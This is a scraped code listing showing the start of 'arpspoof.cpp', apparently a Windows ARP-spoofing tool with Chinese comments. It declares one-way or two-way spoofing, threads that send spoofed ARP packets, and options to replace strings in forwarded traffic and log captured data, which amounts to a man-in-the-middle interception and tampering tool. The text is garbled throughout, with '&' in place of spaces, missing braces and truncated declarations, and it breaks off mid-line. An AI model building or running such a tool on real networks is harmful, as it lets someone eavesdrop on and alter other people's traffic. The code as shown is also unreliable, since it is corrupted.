& View Code
arpspoof.cpp
arpspoof.cpp:Code Content
#include&&stdio.h&
#include&&pcap.h&
#include&&winsock2.h&
#pragma&comment(lib,&&ws2_32.lib&)
#pragma&comment(lib,&&wpcap.lib&)
#include&&iphlpapi.h&
#include&&protoinfo.h&
#include&&spoof.h&
#include&&tcp.h&
#include&&scan.h&
#include&&replace.h&
//&存储要替换的字符串的链表结构
typedef&struct&tagSTRLINK
char&szOld[256];
char&szNew[256];
struct&tagSTRLINK&*
}STRLINK,&*PSTRLINK;
HANDLE&hThread[2];&//&两个发送RARP包的线程
unsigned&short&g_uP&//&要监视的端口号
pcap_t&*&//&网卡句柄
HANDLE&g_hE&//&捕捉&Ctrl+C
int&g_uM&//&欺骗标志&0&表示单向欺骗,&1表示双向欺骗
BOOL&bIsReplace&=&FALSE;&//&是否对转发的数据进行替换
BOOL&bIsLog&=&FALSE;&//&是否进行数据保存
char&szLogfile[MAX_PATH];&//&要保存数据的文件名
//&对应ARPSPOOF结构中的成员
unsigned&char&ucSelf[6],&ucIPA[6],&ucIPB[6];
char&szIPSelf[16],&szIPA[16],&szIPB[16],&szIPGate[16];
//&初始化链表
PSTRLINK&strLink&=&(PSTRLINK)&malloc(sizeof(STRLINK));
char&TcpFlag[6]={&'F','S','R','P','A','U'&};&//定义TCP标志位,分析数据包时用
BOOL&InitSpoof(char&**);
void&ResetSpoof();
void&Help();
//&格式化copy函数,主要是为了替换&'r',&'n'字符
BOOL&fstrcpy(char&*szSrc,&char&*szDst)
unsigned&int&i,&j;
for&(i&=&0,&j=0;&i&&&strlen(szSrc);&i++,&j++)
if&(szSrc[i]&==&'\'&&&&szSrc[i&+&1]&==&'r')&//&Replace&&r&
szDst[j]&=&'r';
else&if&(szSrc[i]&==&'\'&&&&szSrc[i&+&1]&==&'n')&//&Replace&&n&
szDst[j]&=&'n';
else&if&(szSrc[i]&!=&'n'&&&&szSrc[i]&!=&'